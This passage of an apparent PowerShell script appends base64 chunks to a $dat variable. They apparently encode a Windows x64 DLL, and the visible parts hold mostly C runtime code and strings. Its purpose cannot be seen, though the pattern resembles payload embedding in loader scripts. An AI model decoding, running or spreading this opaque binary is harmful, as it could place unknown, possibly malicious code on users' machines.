/FZEZAABIg8Qow0iLxEiJWAhIiWgQSIlwGFdIg+xASINg2ABJi/hNi8iL8kSLwkiL6UiL0UiLDdPCAAD/FSUZAACL2IXAdWr/FTEZAACD+AZ1X0iLDbXCAABIg/n9dwb/FTEZAABIg2QkMABIjQ3sdgAAg2QkKABBuAMAAABFM8lEiUQkILoAAABA/xXmGAAASINkJCAATIvPSIvISIkFa8IAAESLxkiL1f8VtxgAAIvYSItsJFiLw0iLXCRQSIt0JGBIg8RAX8PMzEiJXCQITIlMJCBXSIPsIEmL+UmL2IsK6Nzf//+QSIsDSGMIS';
$dat += 'IvRSIvBSMH4BkyNBWDPAACD4j9IjRTSSYsEwPZE0DgBdAnozQAAAIvY6w7ocJv//8cACQAAAIPL/4sP6Lzf//+Lw0iLXCQwSIPEIF/DzMzMiUwkCEiD7DhIY9GD+v51Fegbm///gyAA6DOb///HAAkAAADrdIXJeFg7FfHSAABzUEiLykyNBeXOAACD4T9Ii8JIwfgGSI0MyUmLBMD2RMg4AXQtSI1EJECJVCRQiVQkWEyNTCRQSI1UJFhIiUQkIEyNRCQgSI1MJEjoDf///+sb6Kqa//+DIADowpr//8cACQAAAOiXmf//g8j/SIPEOMPMzMxIiVwkCFdIg+wgSGP5i8/o2N///0iD+P91BDPb61pIiwVXzgAAuQIAAACD/wF1CUCEuMgAAAB1DTv5dSD2gIAAAAABdBfoot///7kBAAAASIvY6JXf//9IO8N0vovP6Inf//9Ii8j/FUgXAACFwHWq/xUmFwAAi9iLz+ix3v//SIvXTI0F880AAIPiP0iLz0jB+QZIjRTSSYsMyMZE0TgAhdt0DIvL6JGZ//+DyP/rAjPASItcJDBIg8QgX8PMzMyDSRj/M8BIiQFIiUEIiUEQSIlBHEiJQSiHQRTDSIvEU0iD7FDyDxCEJIAAAACL2fIPEIwkiAAAALrA/wAAiUjISIuMJJAAAADyDxFA4PIPEUjo8g8RWNhMiUDQ6CQHAABIjUwkIOhawP//hcB1B4vL6L8GAADyDxBEJEBIg8RQW8PMzMxIiVwkCEiJdCQQV0iD7CCL2UiL8oPjH4v59sEIdBRAhPZ5D7kBAAAA6E8HAACD4/frV7kEAAAAQIT5dBFID7rmCXMK6DQHAACD4/vrPED2xwF0FkgPuuYKcw+5CAAAAOgYBwAAg+P+6yBA9scCdBpID7rmC3MTQPbHEHQKuRAAAADo9gYAAIPj/UD2xxB0FEgPuuYMcw25IAAAAOjcBgAAg+PvSIt0JDgzwIXbSItcJDAPlMBIg8QgX8PMzEiLxFVTVldBVkiNaMlIgezwAAAADylwyEiLBVW1AABIM8RIiUXvi/JMi/G6wP8AALmAHwAAQYv5SYvY6AQGAACLTV9IiUQkQEiJXCRQ8g8QRCRQSItUJEDyDxFEJEjo4f7///IPEHV3hcB1QIN9fwJ1EYtFv4Pg4/IPEXWvg8gDiUW/RItFX0iNRCRISIlEJChIjVQkQEiNRW9Ei85IjUwkYEiJRCQg6BACAADoq77//4TAdDSF/3QwSItEJEBNi8byDxBEJEiLz/IPEF1vi1VnSIlEJDDyDxFEJCjyDxF0JCDo9f3//+sci8/oBAUAAEiLTCRAusD/AADoRQUAAPIPEEQkSEiLTe9IM8zoi1v//w8otCTgAAAASIHE8AAAAEFeX15bXcPMzMzMzEBTSIPsEEUzwDPJRIkFxs8AAEWNSAFBi8EPookEJLgAEAAYiUwkCCPIiVwkBIlUJAw7yHUsM8kPAdBIweIgSAvQSIlUJCBIi0QkIESLBYbPAAAkBjwGRQ9EwUSJBXfPAABEiQV0zwAAM8BIg8QQW8NIg+w4SI0FFYoAAEG5GwAAAEiJRCQg6AUAAABIg8Q4w0iLxEiD7GgPKXDoDyjxQYvRDyjYQYPoAXQqQYP4AXVpRIlA2A9X0vIPEVDQRYvI8g8RQMjHQMAhAAAAx0C4CAAAAOstx0QkQAEAAAAPV8DyDxFEJDhBuQIAAADyDxFcJDDHRCQoIgAAAMdEJCAEAAAASIuMJJAAAADyDxF0JHhMi0QkeOi7/f//DyjGDyh0JFBIg8Row8zMzMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAASIPsCA+uHCSLBCRIg8QIw4lMJAgPrlQkCMMPrlwkCLnA////IUwkCA+uVCQIw2YPLgUqiQAAcxRmDy4FKIkAAHYK8kgPLcjySA8qwcPMzMxIg+xIg2QkMABIi0QkeEiJRCQoSItEJHBIiUQkIOgGAAAASIPESMPMSIvE';
$dat += 'SIlYEEiJcBhIiXggSIlICFVIi+xIg+wgSIvaQYvxM9K/DQAAwIlRBEiLRRCJUAhIi0UQiVAMQfbAEHQNSItFEL+PAADAg0gEAUH2wAJ0DUiLRRC/kwAAwINIBAJB9sABdA1Ii0UQv5EAAMCDSAQEQfbABHQNSItFEL+OAADAg0gECEH2wAh0DUiLRRC/kAAAwINIBBBIi00QSIsDSMHoB8HgBPfQM0EIg+AQMUEISItNEEiLA0jB6AnB4AP30DNBCIPgCDFBCEiLTRBIiwNIwegKweAC99AzQQiD4AQxQQhIi00QSIsDSMHoCwPA99AzQQiD4AIxQQiLA0iLTRBIwegM99AzQQiD4AExQQjo5wIAAEiL0KgBdAhIi00Qg0kMEPbCBHQISItNEINJDAj2wgh0CEiLRRCDSAwE9sIQdAhIi0UQg0gMAvbCIHQISItFEINIDAGLA7kAYAAASCPBdD5IPQAgAAB0Jkg9AEAAAHQOSDvBdTBIi0UQgwgD6ydIi0UQgyD+SItFEIMIAusXSItFEIMg/UiLRRCDCAHrB0iLRRCDIPxIi0UQgeb/DwAAweYFgSAfAP7/SItFEAkwSItFEEiLdTiDSCABg31AAHQzSItFELrh////IVAgSItFMIsISItFEIlIEEiLRRCDSGABSItFECFQYEiLRRCLDolIUOtISItNEEG44////4tBIEEjwIPIAolBIEiLRTBIiwhIi0UQSIlIEEiLRRCDSGABSItVEItCYEEjwIPIAolCYEiLRRBIixZIiVBQ6OwAAAAz0kyNTRCLz0SNQgH/FaoRAABIi00Qi0EIqBB0CEgPujMHi0EIqAh0CEgPujMJi0EIqAR0CEgPujMKi0EIqAJ0CEgPujMLi0EIqAF0BUgPujMMiwGD4AN0MIPoAXQfg+gBdA6D+AF1KEiBCwBgAADrH0gPujMNSA+6Kw7rE0gPujMOSA+6Kw3rB0iBI/+f//+DfUAAdAeLQVCJBusHSItBUEiJBkiLXCQ4SIt0JEBIi3wkSEiDxCBdw8zMzEiD7CiD+QF0FY1B/oP4AXcY6KKS///HACIAAADrC+iVkv//xwAhAAAASIPEKMPMzEBTSIPsIOg9/P//i9iD4z/oTfz//4vDSIPEIFvDzMzMSIlcJBhIiXQkIFdIg+wgSIvaSIv56A78//+L8IlEJDiLy/fRgcl/gP//I8gj+wvPiUwkMIA9vbgAAAB0JfbBQHQ';
$dat += 'g6PH7///rIcYFqLgAAACLTCQwg+G/6Nz7//+LdCQ46wiD4b/ozvv//4vGSItcJEBIi3QkSEiDxCBfw0BTSIPsIEiL2eie+///g+M/C8OLyEiDxCBb6Z37///MSIPsKOiD+///g+A/SIPEKMPMzMzMzMzMzMzMzExjQTxFM8lMA8FMi9JBD7dAFEUPt1gGSIPAGEkDwEWF23Qei1AMTDvScgqLSAgDykw70XIOQf/BSIPAKEU7y3LiM8DDzMzMzMzMzMzMzMzMSIlcJAhXSIPsIEiL2UiNPQw+//9Ii8/oNAAAAIXAdCJIK99Ii9NIi8/ogv///0iFwHQPi0Akwegf99CD4AHrAjPASItcJDBIg8QgX8PMzMy4TVoAAGY5AXUgSGNBPEgDwYE4UEUAAHURuQsCAABmOUgYdQa4AQAAAMMzwMPMzMxIg+woTYtBOEiLykmL0egNAAAAuAEAAABIg8Qow8zMzEBTRYsYSIvaQYPj+EyLyUH2AARMi9F0E0GLQAhNY1AE99hMA9FIY8hMI9FJY8NKixQQSItDEItICEiLQwj2RAEDD3QLD7ZEAQOD4PBMA8hMM8pJi8lb6VVU///MzMzMzMzMzMzMzGZmDx+EAAAAAABIg+wQTIkUJEyJXCQITTPbTI1UJBhMK9BND0LTZUyLHCUQAAAATTvTcxZmQYHiAPBNjZsA8P//QcYDAE0703XwTIsUJEyLXCQISIPEEMPMzMzMzMzMzGZmDx+EAAAAAABIK9FJg/gIciL2wQd0FGaQigE6BBF1LEj/wUn/yPbBB3XuTYvIScHpA3UfTYXAdA+KAToEEXUMSP/BSf/IdfFIM8DDG8CD2P/DkEnB6QJ0N0iLAUg7BBF1W0iLQQhIO0QRCHVMSItBEEg7RBEQdT1Ii0EYSDtEERh1LkiDwSBJ/8l1zUmD4B9Ni8hJwekDdJtIiwFIOwQRdRtIg8EISf/Jde5Jg+AH64NIg8EISIPBCEiDwQhIiwwKSA/ISA/JSDvBG8CD2P/DzMzMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAP/gzMzMzMzMzMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAA/yVqDgAAzMzMzMzMzMzMzEBVSIPsIEiL6opNQEiDxCBd6aZc///MQFVIg+wgSIvqik0g6JRc//+QSIPEIF3DzEBVSIPsIEiL6kiDxCBd6fVa///MQFVIg+wwSIvqSIsBixBIiUwkKIlUJCBMjQ2OUv//TItFcItVaEiLTWDoNlr//5BIg8QwXcPMQFVIi+pIiwEzyYE4BQAAwA+UwYvBXcPMQFNVSIPsKEiL6kiJTThIiU0wgH1YAHRsSItFMEiLCEiJTShIi0UogThjc23gdVVIi0Uog3gYBHVLSItFKIF4ICAFkxl0GkiLRSiBeCAhBZMZdA1Ii0UogXggIgWTGXUk6AVm//9Ii00oSIlIIEiLRTBIi1gI6PBl//9IiVgo6GOA//+Qx0UgAAAAAItFIEiDxChdW8PMQFVIg+wgSIvqSItFSIsISIPEIF3pE4r//8xAVUiD7CBIi+pIiwGLCOhHdf//kEiDxCBdw8xAVUiD7CBIi+q5BQAAAEiDxCBd6d+J///MQFVIg+wgSIvquQcAAABIg8QgXenGif//zEBVSIPsIEiL6jPJSIPEIF3psIn//8xAVUiD7CBIi+qAfXAAdAu5AwAAAOiWif//kEiDxCBdw8xAVUiD7CBIi+pIi01ISIsJSIPEIF3pPLj//8xAVUiD7CBIi+pIi4WYAAAAiwhIg8QgXelXif//zEBVSIPsIEiL6kiLRViLCEiDxCBd6T2J///MQFVIg+wgSIvquQQAAABIg8QgXekkif//zEBVSIPsIEiL6kiLRUiLCEiDxCBd6fLQ///MQFVIg+wgSIvqi01QSIPEIF3p29D//8xAVUiD7CBIi+q5CAAAAEiDxCBd6dqI//';
$dat += '/MQFVIg+wgSIvqSItNMEiDxCBd6Yq3///MQFVIg+wgSIvqSIsBgTgFAADAdAyBOB0AAMB0BDPA6wW4AQAAAEiDxCBdw8zMQFVIg+wgSIvqSIsBM8mBOAUAAMAPlMGLwUiDxCBdw8wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACKYAEAAAAAAFZiAQAAAAAARGIBAAAAAADcYgEAAAAAADZiAQAAAAAAXF0BAAAAAABqXQEAAAAAAHpdAQAAAAAAiF0BAAAAAACWXQEAAAAAAKRdAQAAAAAAtl0BAAAAAADGXQEAAAAAAOJdAQAAAAAA7l0BAAAAAAD2XQEAAAAAACZiAQAAAAAAFGIBAAAAAADIYgEAAAAAALZiAQAAAAAAoGIBAAAAAACUYgEAAAAAAIBiAQAAAAAAcGIBAAAAAACqXgEAAAAAAMZeAQAAAAAA5F4BAAAAAAD4XgEAAAAAAAxfAQAAAAAAKF8BAAAAAABCXwEAAAAAAFhfAQAAAAAAbl8BAAAAAACIXwEAAAAAAJ5fAQAAAAAAsl8BAAAAAADEXwEAAAAAANhfAQAAAAAA8F8BAAAAAAAAYAEAAAAAABhgAQAAAAAAMGABAAAAAABIYAEAAAAAAHBgAQAAAAAAfGABAAAAAACYYAEAAAAAAKJgAQAAAAAAsGABAAAAAADCYAEAAAAAANRgAQAAAAAA5mABAAAAAAD0YAEAAAAAAAphAQAAAAAAIGEBAAAAAAAsYQEAAAAAADhhAQAAAAAATGEBAAAAAABeYQEAAAAAAGhhAQAAAAAAdGEBAAAAAACAYQEAAAAAAJJhAQAAAAAApGEBAAAAAAC6YQEAAAAAANBhAQAAAAAA6mEBAAAAAAAEYgEAAAAAAGJiAQAAAAAAAAAAAAAAAAAmXQEAAAAAAAAAAAAAAAAAFF4BAAAAAAAAAAAAAAAAAPRcAQAAAAAA4FwBAAAAAAAGXQEAAAAAAAAAAAAAAAAAiF4BAAAAAABuXgEAAAAAAFpeAQAAAAAAnF4BAAAAAABCXQEAAAAAAAAAAAAAAAAAPl4BAAAAAAAuXgEAAAAAAAAAAAAAAAAAQCMAgAEAAABAIwCAAQAAADDEAIABAAAAUMQAgAEAAABQxACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFSUAIABAAAA9HwAgA';
$dat += 'EAAADAuwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAcgQCAAQAAAKC2AIABAAAAFH4AgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANFXjcOnBTNMkE9/vO7mDoI7OXJKnzG8RITDulTcs7a0hx6O10SGpU6UN9gJ7O/JcQAAAAAAAAAA8HkBgAEAAACQegGAAQAAAAAAAAAAAAAA/////////////////////zAoAIABAAAAAAAAAAAAAADA2gCAAQAAAAgAAAAAAAAA0NoAgAEAAAAHAAAAAAAAANjaAIABAAAACAAAAAAAAADo2gCAAQAAAAkAAAAAAAAA+NoAgAEAAAAKAAAAAAAAAAjbAIABAAAACgAAAAAAAAAY2wCAAQAAAAwAAAAAAAAAKNsAgAEAAAAJAAAAAAAAADTbAIABAAAABgAAAAAAAABA2wCAAQAAAAkAAAAAAAAAUNsAgAEAAAAJAAAAAAAAAGDbAIABAAAABwAAAAAAAABo2wCAAQAAAAoAAAAAAAAAeNsAgAEAAAALAAAAAAAAAIjbAIABAAAACQAAAAAAAACS2wCAAQAAAAAAAAAAAAAAlNsAgAEAAAAEAAAAAAAAAKDbAIABAAAABwAAAAAAAACo2wCAAQAAAAEAAAAAAAAArNsAgAEAAAACAAAAAAAAALDbAIABAAAAAgAAAAAAAAC02wCAAQAAAAEAAAAAAAAAuNsAgAEAAAACAAAAAAAAALzbAIABAAAAAgAAAAAAAADA2wCAAQAAAAIAAAAAAAAAyNsAgAEAAAAIAAAAAAAAANTbAIABAAAAAgAAAAAAAADY2wCAAQAAAAEAAAAAAAAA3NsAgAEAAAACAAAAAAAAAODbAIABAAAAAgAAAAAAAADk2wCAAQAAAAEAAAAAAAAA6NsAgAEAAAABAAAAAAAAAOzbAIABAAAAAQAAAAAAAADw2wCAAQAAAAMAAAAAAAAA9NsAgAEAAAABAAAAAAAAAPjbAIABAAAAAQAAAAAAAAD82wCAAQAAAAEAAAAAAAAAANwAgAEAAAACAAAAAAAAAATcAIABAAAAAQAAAAAAAAAI3ACAAQAAAAIAAAAAAAAADNwAgAEAAAABAAAAAAAAABDcAIABAAAAAgAAAAAAAAAU3ACAAQAAAAEAAAAAAAAAGNwAgAEAAAABAAAAAAAAABzcAIABAAAAAQAAAAAAAAAg3ACAAQAAAAIAAAAAAAAAJNwAgAEAAAACAAAAAAAAACjcAIABAAAAAgAAAAAAAAAs3ACAAQAAAAIAAAAAAAAAMNwAgAEAAAACAAAAAAAAADTcAIABAAAAAgAAAAAAAAA43ACAAQAAAAIAAAAAAAAAPNwAgAEAAAADAAAAAAAAAEDcAIABAAAAAwAAAAAAAABE3ACAAQAAAAIAAAAAAAAASNwAgAEAAAACAAAAAAAAAEzcAIABAAAAAgAAAAAAAABQ3ACAAQAAAAkAAAAAAAAAYNwAgAEAAAAJAAAAAAAAAHDcAIABAAAABwAAAAAAAAB43ACAAQAAAAgAAAAAAAAAiNwAgA';
$dat += 'EAAAAUAAAAAAAAAKDcAIABAAAACAAAAAAAAACw3ACAAQAAABIAAAAAAAAAyNwAgAEAAAAcAAAAAAAAAOjcAIABAAAAHQAAAAAAAAAI3QCAAQAAABwAAAAAAAAAKN0AgAEAAAAdAAAAAAAAAEjdAIABAAAAHAAAAAAAAABo3QCAAQAAACMAAAAAAAAAkN0AgAEAAAAaAAAAAAAAALDdAIABAAAAIAAAAAAAAADY3QCAAQAAAB8AAAAAAAAA+N0AgAEAAAAmAAAAAAAAACDeAIABAAAAGgAAAAAAAABA3gCAAQAAAA8AAAAAAAAAUN4AgAEAAAADAAAAAAAAAFTeAIABAAAABQAAAAAAAABg3gCAAQAAAA8AAAAAAAAAcN4AgAEAAAAjAAAAAAAAAJTeAIABAAAABgAAAAAAAACg3gCAAQAAAAkAAAAAAAAAsN4AgAEAAAAOAAAAAAAAAMDeAIABAAAAGgAAAAAAAADg3gCAAQAAABwAAAAAAAAAAN8AgAEAAAAlAAAAAAAAACjfAIABAAAAJAAAAAAAAABQ3wCAAQAAACUAAAAAAAAAeN8AgAEAAAArAAAAAAAAAKjfAIABAAAAGgAAAAAAAADI3wCAAQAAACAAAAAAAAAA8N8AgAEAAAAiAAAAAAAAABjgAIABAAAAKAAAAAAAAABI4ACAAQAAACoAAAAAAAAAeOAAgAEAAAAbAAAAAAAAAJjgAIABAAAADAAAAAAAAACo4ACAAQAAABEAAAAAAAAAwOAAgAEAAAALAAAAAAAAAJLbAIABAAAAAAAAAAAAAADQ4ACAAQAAABEAAAAAAAAA6OAAgAEAAAAbAAAAAAAAAAjhAIABAAAAEgAAAAAAAAAg4QCAAQAAABwAAAAAAAAAQOEAgAEAAAAZAAAAAAAAAJLbAIABAAAAAAAAAAAAAADY2wCAAQAAAAEAAAAAAAAA7NsAgAEAAAABAAAAAAAAACDcAIABAAAAAgAAAAAAAAAY3ACAAQAAAAEAAAAAAAAA+NsAgAEAAAABAAAAAAAAAKDcAIABAAAACAAAAAAAAABg4QCAAQAAABUAAAAAAAAAX19iYXNlZCgAAAAAAAAAAF9fY2RlY2wAX19wYXNjYWwAAAAAAAAAAF9fc3RkY2FsbAAAAAAAAABfX3RoaXNjYWxsAAAAAAAAX19mYXN0Y2FsbAAAAAAAAF9fdmVjdG9yY2FsbAAAAABfX2NscmNhbGwAAABfX2VhYmkAAAAAAABfX3N3aWZ0XzEAAAAAAAAAX19zd2lmdF8yAAAAAAAAAF9fcHRyNjQAX19yZXN0cmljdAAAAAAAAF9fdW5hbGlnbmVkAAAAAAByZXN0cmljdCgAAAAgbmV3AAAAAAAAAAAgZGVsZXRlAD0AAAA+PgAAPDwAACEAAAA9PQAAIT0AAFtdAAAAAAAAb3BlcmF0b3IAAAAALT4AACoAAAArKwAALS0AAC0AAAArAAAAJgAAAC0+KgAvAAAAJQAAADwAAAA8PQAAPgAAAD49AAAsAAAAKCkAAH4AAABeAAAAfAAAACYmAAB8fAAAKj0AACs9AAAtPQAALz0AACU9AAA+Pj0APDw9ACY9AAB8PQAAXj0AAGB2ZnRhYm';
$dat += 'xlJwAAAAAAAABgdmJ0YWJsZScAAAAAAAAAYHZjYWxsJwBgdHlwZW9mJwAAAAAAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHN0cmluZycAAAAAAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAAAAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgc2NhbGFyIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAAAAAABgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAAAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAAAAAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAAAAAAGBsb2NhbCB2ZnRhYmxlJwBgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAgbmV3W10AAAAAAAAgZGVsZXRlW10AAAAAAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAAAAAAGBkeW5hbWljIGF0ZXhpdCBkZXN0cnVjdG9yIGZvciAnAAAAAAAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAAAAYG1hbmFnZWQgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnAAAAAABvcGVyYXRvciAiIiAAAAAAb3BlcmF0b3IgY29fYXdhaXQAAAAAAAAAb3BlcmF0b3I8P';
$dat += 'T4AAAAAACBUeXBlIERlc2NyaXB0b3InAAAAAAAAACBCYXNlIENsYXNzIERlc2NyaXB0b3IgYXQgKAAAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIENsYXNzIEhpZXJhcmNoeSBEZXNjcmlwdG9yJwAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAAGBhbm9ueW1vdXMgbmFtZXNwYWNlJwAAAJDhAIABAAAA0OEAgAEAAAAQ4gCAAQAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AZgBpAGIAZQByAHMALQBsADEALQAxAC0AMQAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHMAeQBuAGMAaAAtAGwAMQAtADIALQAwAAAAAAAAAAAAawBlAHIAbgBlAGwAMwAyAAAAAAAAAAAAYQBwAGkALQBtAHMALQAAAAAAAAACAAAARmxzQWxsb2MAAAAAAAAAAAAAAAACAAAARmxzRnJlZQAAAAAAAgAAAEZsc0dldFZhbHVlAAAAAAAAAAAAAgAAAEZsc1NldFZhbHVlAAAAAAABAAAAAgAAAEluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25FeAAAAAAAAAAAAAAAAAAFAADACwAAAAAAAAAAAAAAHQAAwAQAAAAAAAAAAAAAAJYAAMAEAAAAAAAAAAAAAACNAADACAAAAAAAAAAAAAAAjgAAwAgAAAAAAAAAAAAAAI8AAMAIAAAAAAAAAAAAAACQAADACAAAAAAAAAAAAAAAkQAAwAgAAAAAAAAAAAAAAJIAAMAIAAAAAAAAAAAAAACTAADACAAAAAAAAAAAAAAAtAIAwAgAAAAAAAAAAAAAALUCAMAIAAAAAAAAAAAAAAAMAAAAAAAAAAMAAAAAAAAACQAAAAAAAABtAHMAYwBvAHIAZQBlAC4AZABsAGwAAABDb3JFeGl0UHJvY2VzcwAAKEQAgAEAAAAAAAAAAAAAAHREAIABAAAAAAAAAAAAAACscgCAAQAAAOByAIABAAAAYEQAgAEAAABgRACAAQAAABhPAIABAAAAfE8AgAEAAAAkcwCAAQAAAEBzAIABAAAAAAAAAAAAAAC0RACAAQAAALhOAIABAAAA9E4AgAEAAABIdQCAAQAAAIR1AIABAAAAvGoAgAEAAABgRACAAQAAAPhmAIABAAAAAAAAAAAAAAAAAAAAAAAAAGBEAIABAAAAAAAAAAAAAAD8RACAAQAAAAAAAAAAAAAAvEQAgAEAAABgRACAAQAAAGREAIABAAAAPEQAgAEAAABgRACAAQAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAWQQAACoAAAAYBwAADAAAAEjmAIABAAAAWOYAgAEAAABo5gCAAQAAAHjmAIABAAAAagBhAC0ASgBQAAAAAAAAAHoAaAAtAEMATgAAAAAAAABrAG8ALQBLAFIAAAAAAAAAegBoAC0AVABXA';
$dat += 'AAAAAAAAAAAAAAAAAAAMOcAgAEAAACQ4QCAAQAAAHDnAIABAAAAsOcAgAEAAAAA6ACAAQAAAGDoAIABAAAAsOgAgAEAAADQ4QCAAQAAAPDoAIABAAAAMOkAgAEAAABw6QCAAQAAALDpAIABAAAAAOoAgAEAAABg6gCAAQAAALDqAIABAAAAAOsAgAEAAAAQ4gCAAQAAABjrAIABAAAAMOsAgAEAAAB46wCAAQAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AZABhAHQAZQB0AGkAbQBlAC0AbAAxAC0AMQAtADEAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAGYAaQBsAGUALQBsADEALQAyAC0AMgAAAAAAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQBsAG8AYwBhAGwAaQB6AGEAdABpAG8AbgAtAGwAMQAtADIALQAxAAAAAAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAGwAbwBjAGEAbABpAHoAYQB0AGkAbwBuAC0AbwBiAHMAbwBsAGUAdABlAC0AbAAxAC0AMgAtADAAAAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHAAcgBvAGMAZQBzAHMAdABoAHIAZQBhAGQAcwAtAGwAMQAtADEALQAyAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AcwB0AHIAaQBuAGcALQBsADEALQAxAC0AMAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHMAeQBzAGkAbgBmAG8ALQBsADEALQAyAC0AMQAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQB3AGkAbgByAHQALQBsADEALQAxAC0AMAAAAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AeABzAHQAYQB0AGUALQBsADIALQAxAC0AMAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AcgB0AGMAbwByAGUALQBuAHQAdQBzAGUAcgAtAHcAaQBuAGQAbwB3AC0AbAAxAC0AMQAtADAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBzAGUAYwB1AHIAaQB0AHkALQBzAHkAcwB0AGUAbQBmAHUAbgBjAHQAaQBvAG4AcwAtAGwAMQAtADEALQAwAAAAAAAAAAAAAAAAAGUAeAB0AC0AbQBzAC0AdwBpAG4ALQBuAHQAdQBzAGUAcgAtAGQAaQBhAGwAbwBnAGIAbwB4AC0AbAAxAC0AMQAtADAAAAAAAAAAAAAAAAAAZQB4AHQALQBtAHMALQB3AGkAbgAtAG4AdAB1AHMAZQByAC0AdwBpAG4AZABvAHcAcwB0AGEAdABpAG8AbgAtAGwAMQAtADEALQAwAAAAAABhAGQAdgBhAHAAaQAzADIAAAAAAAAAAABuAHQAZABsAGwAAAAAAAAAAAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYQBwAHAAbQBvAGQAZQBsAC0AcgB1AG4AdABpAG0AZQAtAGwAMQAtADEALQAyAAAAAAB1AHMAZQByADMAMgAAAAAAZQB4AHQALQ';
